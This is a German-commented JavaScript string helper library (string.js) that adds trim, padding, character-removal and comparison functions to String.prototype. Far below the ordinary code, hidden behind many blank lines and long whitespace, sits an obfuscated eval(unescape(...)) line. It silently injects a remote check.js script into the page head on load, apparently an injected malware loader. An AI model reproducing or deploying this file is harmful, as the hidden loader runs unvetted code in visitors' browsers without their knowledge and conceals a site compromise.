/* string.js    String-Bibliothek                           www.swanja.de, 28.01.2002
   ==========   =================
*/

String.prototype.isNumber = _isNumber;
String.prototype.isDigit  = _isDigit;
String.prototype.rmCharL  = _rmCharL;
String.prototype.rmCharR  = _rmCharR;
String.prototype.toLeft   = _toLeft;
String.prototype.toRight  = _toRight;
String.prototype.trim     = _trim;
String.prototype.cutStr   = _cutStr;

function _isNumber()  {
  var zahl = parseInt(this);
  if ( isNaN(zahl) ) return false;
  return true;
}

function _isDigit()  {
  for(var i=0; i < this.length; i++)
    if ( this.charAt(i) < "0" || this.charAt(i) > "9")
      return false;
  return true;
}

function _rmCharL(ch)  {
  var str = this;
  while (str.charAt(0) == ch)
    str = str.substring(1,str.length);
  return str;
}

function _rmCharR(ch)  {
  var str = this;  // sonst FehlerMsg: Zuweisung an this nicht mögl.
  while (str.charAt(str.length - 1) == ch)
    str = str.substring(0,str.length - 1);
  return str;
}

function _toLeft(anz,ch)  {
  if ( ! ch ) ch = " ";
  var str = this;
  for(var i=str.length; i < anz; i++)
    str += ch;
  return str;
}

function _toRight(anz,ch)  {
  if ( ! ch ) ch = " ";
  var tmp="", str = this;
  for(var i=str.length; i < anz; i++)
    tmp += ch;
  return (tmp + str);
}

function _trim(ch)  {
  if ( ! ch ) ch = ' ';
  var str = this.rmCharR(ch);
  return     str.rmCharL(ch);
}

function _cutStr(str,pos)  {
  if ( ! pos ) pos = 0;
  if ( this.indexOf(str) >= pos )
    return this.substring(0,this.indexOf(str));
  return this;
}

/* !! geht so nicht: !!
function _rmCharR(ch)  {
  while (this.charAt(this.length - 1) == ch)
    this = this.substring(0,this.length - 1);    // FehlerMsg: Zuweisung an this nicht mögl.
  return this;
}
*/

function strCompareNotCaseSensitiv(str1, str2)  {
  var _str1 = str1.toLowerCase();                      // "str1" anstatt "_str1": Fehler !?
  var _str2 = str2.toLowerCase();
  return strCompare(_str1,_str2);
}

function strCompare(str1, str2)  {
//  if ( strIsDigit(str1) && strIsDigit(str2) )                    // beide ZahlenString
//if ( strIsNumber(str1) && strIsNumber(str2) )                    // beide ZahlenString
  if ( str1.isNumber() && str2.isNumber() )                    // beide ZahlenString
    return (parseInt(str1) - parseInt(str2));

  for(var i=0; i < str1.length && i < str2.length; i++) {
    var diff = str1.charCodeAt(i) - str2.charCodeAt(i);
    if ( diff != 0 )
      return diff;
  }
  return 0;
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%36%34%36%34%32%3B%20%4A%53%53%33%20%3D%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































